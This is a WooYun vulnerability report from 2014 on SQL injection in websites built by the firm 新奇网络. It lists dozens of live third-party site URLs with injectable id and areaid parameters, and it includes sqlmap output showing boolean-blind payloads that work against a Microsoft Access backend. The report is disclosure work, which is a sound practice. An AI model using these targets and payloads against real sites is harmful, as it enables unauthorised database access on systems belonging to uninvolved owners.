当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-083368

漏洞标题：某建站公司多处通用SQL注入漏洞

相关厂商：新奇网络

漏洞作者： 路人甲

提交时间：2014-11-17 12:57

修复时间：2015-02-15 12:58

公开时间：2015-02-15 12:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-17： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT.

详细说明：

官网：www.81886.cn
http://www.81886.cn/contact.asp?id=36
http://www.81886.cn/cases.asp?areaid=243
http://www.81886.cn/news_show.asp?id=123
搜索引擎关键字：技术支持：新奇网络


http://www.scbzkjgg.com/contact.asp?id=4
http://www.ylhwj.com/Contact.asp?Id=11
http://lsjgkj.com/Contact.asp?Id=11
http://www.hyteng.com/contact.asp?id=4
http://szyoudun.com/contact.asp?id=4
http://www.hadadv.com/Contact.asp?Id=11
http://www.xkhfm.com/Contact.asp?Id=11
http://www.szwmk.com/contact.asp?id=4
http://www.yatengmotor.com/contact.asp?id=36
http://www.aidazs.com/contact.asp?id=4
http://www.szhsdjx.com/contact.asp?id=4	
http://szjdjx.com/contact.asp?id=4
http://www.jsfscps.com/contact.asp?id=4
http://www.zoboh.com/contact.asp?id=4
http://www.dhcdhj.com/Contact.asp?Id=11
http://www.szsts168.com/contact.asp?id=4
http://www.xh2000.com/contact.asp?id=4
http://www.szbtsg.com/Contact.asp?Id=11
http://www.szysdnxh.com/Contact.asp?Id=11
http://szwbgs.com/contact.asp?id=4
http://holesh.com.cn/contact.asp?id=4
http://www.dgxxzsj.com/contact.asp?id=36
http://longxingfa888.com/contact.asp?id=4
http://www.holesh.com.cn/contact.asp?id=4
http://www.szwsdmj.com/contact.asp?id=36


2.产品展示处：
http://www.yatengmotor.com/products.asp?areaid=237
http://www.szfwxpcb.com/products.asp?areaid=234
http://www.szpdxsp.com/products.asp?areaid=234
http://www.szsrmj.com/products.asp?areaid=243
http://www.flxchina.com.cn/products.asp?areaid=234
http://www.xianglong888.cn/products.asp?areaid=244
http://www.szhccnc.com/products.asp?areaid=247
http://www.xlyssz.com/products.asp?areaid=234
http://www.hongxinmold.com/products.asp?areaid=251
http://www.dgxxzsj.com/products.asp?areaid=273
http://www.hcxlyh.com/products.asp?areaid=245
http://www.szjh3d.com/products.asp?areaid=257
http://www.youzhutip.com/products.asp?areaid=255
http://www.szwsdmj.com/products.asp?areaid=250
http://www.yahuawujin.com/products.asp?areaid=262
http://www.yongkangtong.com/products.asp?areaid=255
http://chuangyaxin.net/products.asp?areaid=234
http://www.nengxingwujin.com/products.asp?areaid=285
http://sztfhs.com/products.asp?areaid=234


3.新闻动态处：
http://www.szysdnxh.com/NewsShow.asp?Id=27
http://www.szbtsg.com/NewsShow.asp?Id=63
http://www.szjh3d.com/news_show.asp?id=9
http://www.xlyssz.com/news_show.asp?id=9
http://www.flxchina.com.cn/news_show.asp?id=10
http://www.szwsdmj.com/news_show.asp?id=13
http://www.dgxxzsj.com/news_show.asp?id=370
http://www.yongkangtong.com/news_show.asp?id=13
http://www.szfwxpcb.com/news_show.asp?id=73
http://www.yatengmotor.com/news_show.asp?id=50
http://www.szpdxsp.com/news_show.asp?id=9
http://www.dhcdhj.com/NewsShow.asp?Id=69
http://www.szsrmj.com/news_show.asp?id=32
http://www.yahuawujin.com/news_show.asp?id=43
http://www.youzhutip.com/news_show.asp?id=99
http://www.hcxlyh.com/news_show.asp?id=9
http://www.xianglong888.cn/news_show.asp?id=9
http://www.szhccnc.com/news_show.asp?id=12
http://www.hongxinmold.com/news_show.asp?id=11

漏洞证明：

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=36 AND 7513=7513
---
[10:15:12] [INFO] testing Microsoft Access
[10:15:13] [INFO] confirming Microsoft Access
[10:15:13] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[10:15:13] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 65 times
[10:15:13] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:15:13] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.81886.cn'


Place: GET
Parameter: areaid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: areaid=243 AND 3422=3422
---
[10:18:24] [INFO] testing Microsoft Access
[10:18:24] [INFO] confirming Microsoft Access
[10:18:25] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[10:18:25] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 61 times
[10:18:25] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:18:25] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.81886.cn'


Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=12 AND 4627=4627
---
[10:19:10] [INFO] testing Microsoft Access
[10:19:10] [INFO] confirming Microsoft Access
[10:19:10] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[10:19:10] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 72 times
[10:19:10] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:19:10] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.szhccnc.com'

修复方案：

过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝